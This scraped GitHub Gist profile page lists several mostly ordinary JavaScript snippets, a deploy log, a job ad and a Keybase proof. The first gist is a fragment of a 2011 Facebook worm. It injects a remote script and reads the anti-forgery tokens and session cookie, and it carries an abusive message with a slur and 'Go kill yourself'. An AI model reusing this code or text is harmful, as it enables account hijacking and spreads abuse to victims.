Skip to content

Instantly share code, notes, and snippets.

View thomasdavis's full-sized avatar

Thomas Davis thomasdavis

View GitHub Profile
thomasdavis / facebook_hack.js
Created May 12, 2011 07:00 — forked from tysonmote/facebook_hack.js
Nicole Santos Facebook hack
// 5/11/11 Facebook hack -- Started spreading and was quickly taken down by Dropbox (where the file was hosted).
var message = "Fuck you faggot. Go kill yourself. Do whatever the fuck you want. I hate you and the only way to remove all these posts is by disabling this below.";
var jsText = "javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src=''+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();";
var myText = "Remove This App";
var post_form_id = document.getElementsByName('post_form_id')[0].value;
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var uid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
thomasdavis / universal-module.js
Created September 7, 2011 01:02 — forked from ryanflorence/universal-module.js
Universal JavaScript Module, supports AMD (RequireJS), Node.js, and the browser.
(function (name, definition){
var theModule = definition(),
hasDefine = typeof define === 'function',
hasExports = typeof module !== 'undefined' && module.exports;
if (hasDefine){ // AMD Module
} else if (hasExports) { // Node.js Module
module.exports = theModule;
thomasdavis / asd
Created September 22, 2011 00:43
(function () {
//Sadly necessary browser inference due to differences in the way
//that browsers load and execute dynamically inserted javascript
//and whether the script/cache method works.
//Currently, Gecko and Opera do not load/fire onload for scripts with
//type="script/cache" but they execute injected scripts in order
//unless the 'async' flag is present.
//However, this is all changing in latest browsers implementing HTML5
//spec. Firefox nightly supports using the .async true by default, and
//if false, then it will execute in order. Favor that test first for forward
thomasdavis / plugin.js
Created October 12, 2011 00:49
UMD Suggestion
// AMD and Plain Enviroment - For the browser so no Common.js needed
if(typeof define !== 'function') {
define = function( deps, definition ) {
window['MyPlugin'] = definition();
define([], function(){
return {};
thomasdavis /
Created November 22, 2011 01:34 — forked from cowboy/
// jQuery Deparam - v0.1.0 - 6/14/2011
// Copyright (c) 2011 Ben Alman; Licensed MIT, GPL
(function($) {
// Creating an internal undef value is safer than using undefined, in case it
// was ever overwritten.
var undef;
// A handy reference.
var decode = decodeURIComponent;
info: Welcome to Nodejitsu
info: It worked if it ends with Nodejitsu ok
info: Executing command deploy
info: Analyzing your application dependencies in server.js
warn: Local version appears to be old.
warn: Your package.json version will be incremented for you automatically.
warn: About to write /home/samot/repos/budder-server/package.json
data: {
data: version: '0.0.0-2',
thomasdavis / dabblet.css
Created August 9, 2012 01:46
The first commented line is your dabblet’s title
* The first commented line is your dabblet’s title
background: #f06;
background: linear-gradient(45deg, #f06, yellow);
min-height: 100%;
thomasdavis / gist:6017383
Last active December 19, 2015 20:59
Ruby/Mongo developer - Remote
Ruby/Mongo developer - Remote
Are you tired of a broken music industry where major labels play gatekeeper and cut artists out of the deal? Sick of streaming services inundated with commercials?
Earbits is turning the model on its head. On Earbits Radio, artists and labels bid for airtime on a per-stream basis and use the exposure to acquire fans and market products and live events.
It is Google Adwords for music, where data, customer experience and economics surface the best material to each listener - all without commercials.
We’re looking for a back end engineer to help build the algorithm that will maximize artists’ results, listeners’ experience, and the company’s bottom line.
Come help us do for music what Adwords did for every other small business industry.
<!-- Begin MailChimp Signup Form -->
<link href="//" rel="stylesheet" type="text/css">
<style type="text/css">
#mc_embed_signup{background:#fff; clear:left; font:14px Helvetica,Arial,sans-serif; }
/* Add your own MailChimp form style overrides in your site stylesheet or in this style block.
We recommend moving this block and the preceding CSS link to the HEAD of your HTML file. */
<div id="mc_embed_signup">
<form action=";id=1732fb30c4" method="post" id="mc-embedded-subscribe-form" name="mc-embedded-subscribe-form" class="validate" target="_blank" novalidate>
<h2>Subscribe to our mailing list</h2>

Keybase proof

I hereby claim:

  • I am thomasdavis on github.
  • I am thomasdavis ( on keybase.
  • I have a public key whose fingerprint is 0BF3 622D 9D47 DB82 7CDD E1A5 2811 E1C5 FF43 2089

To claim this, I am signing this object: